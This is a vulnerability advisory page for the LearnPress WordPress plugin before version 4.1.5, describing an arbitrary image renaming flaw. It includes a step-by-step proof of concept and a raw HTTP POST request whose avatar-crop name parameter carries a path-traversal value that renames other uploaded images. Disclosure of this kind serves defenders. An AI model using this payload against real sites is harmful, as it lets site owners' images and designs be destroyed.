Lucene search

K
wpvulndbCeylan BozogullarindanWPVDB-ID:0D95ADA6-53E3-4A80-A395-EACD7B090F26
HistoryJan 26, 2022 - 12:00 a.m.

LearnPress < 4.1.5 - Arbitrary Image Renaming

2022-01-2600:00:00
Ceylan Bozogullarindan
wpscan.com
16
learnpress
arbitrary image renaming
image upload
user profile
vulnerability
web security

EPSS

0.007

Percentile

80.3%

Users of the plugin can upload an image as a profile avatar after the registration. After this process the user crops and saves the image. Then a “POST” request that contains user supplied name of the image is sent to the server for renaming and cropping of the image. As a result of this request, the name of the user-supplied image is changed with a MD5 value. This process can be conducted only when type of the image is JPG or PNG. An attacker can use this vulnerability in order to rename an arbitrary image file. By doing this, they could destroy the design of the web site. Some examples of the malicious actions: - Destroying of banner of a web site - Destroying of user avatars - Destroying of post images - Destroying of button/app images etc.

PoC

1. Register and login to the learnpress system (user profile needs to be enabled in settings). 2. Go to the profile page and upload an avatar image: https:///lp-profile//settings/avatar/ 3. While saving the image, intercept the POST request by a local proxy tool such as Burpsuite. 4. Change the value of the lp-user-avatar-crop[name] parameter to an arbitrary image file path that is in the website (example, /2021/01/image.png or /…/…/image.png). The path is relative to “/wp-content/uploads/”. 5. Forward the intercepted request and check the existence of the image file given in Step 4. 6. You will see that the image can not be found. Because the name of it is renamed. POST /lp-profile//settings/avatar/?lp-ajax=save-uploaded-user-avatar HTTP/1.1 Host: 127.0.0.1:8000 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 242 Origin: http://127.0.0.1:8000 Connection: close Referer: http://127.0.0.1:8000/lp-profile/ceylanb/settings/avatar/ Cookie: _learn_press_session_4411def9d576984c8d78253236b2a62f=4509d5151308952d51776226bb847241%7C%7C1641770556%7C%7C19e385a78349f37ac993a36ecda9c41f; wordpress_lp_cart=1; wordpress_logged_in_4411def9d576984c8d78253236b2a62f=ceylanb%7C1642807471%7CRKS5hU3q1b2G0xY1pkwfl43yVJdIqz9fqBLcknvbyzJ%7C98d337987ee0cbc7539a742e2ebbfbe107d1e0c910c3efd9daa51c4775236e19; LP=%7B%22course-tab%22%3A%22overview%22%7D Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin DNT: 1 Sec-GPC: 1 lp-user-avatar-crop%5Bname%5D=%2f…%2f…%2fimage.jpg&lp-user-avatar-crop;%5Bwidth%5D=250&lp-user-avatar-crop;%5Bheight%5D=250&lp-user-avatar-crop;%5Bpoints%5D=0%2C0%2C300%2C300&lp-user-avatar-crop;%5Bnonce%5D=8bdc969b07&lp-user-avatar-custom;=yes

EPSS

0.007

Percentile

80.3%

Related for WPVDB-ID:0D95ADA6-53E3-4A80-A395-EACD7B090F26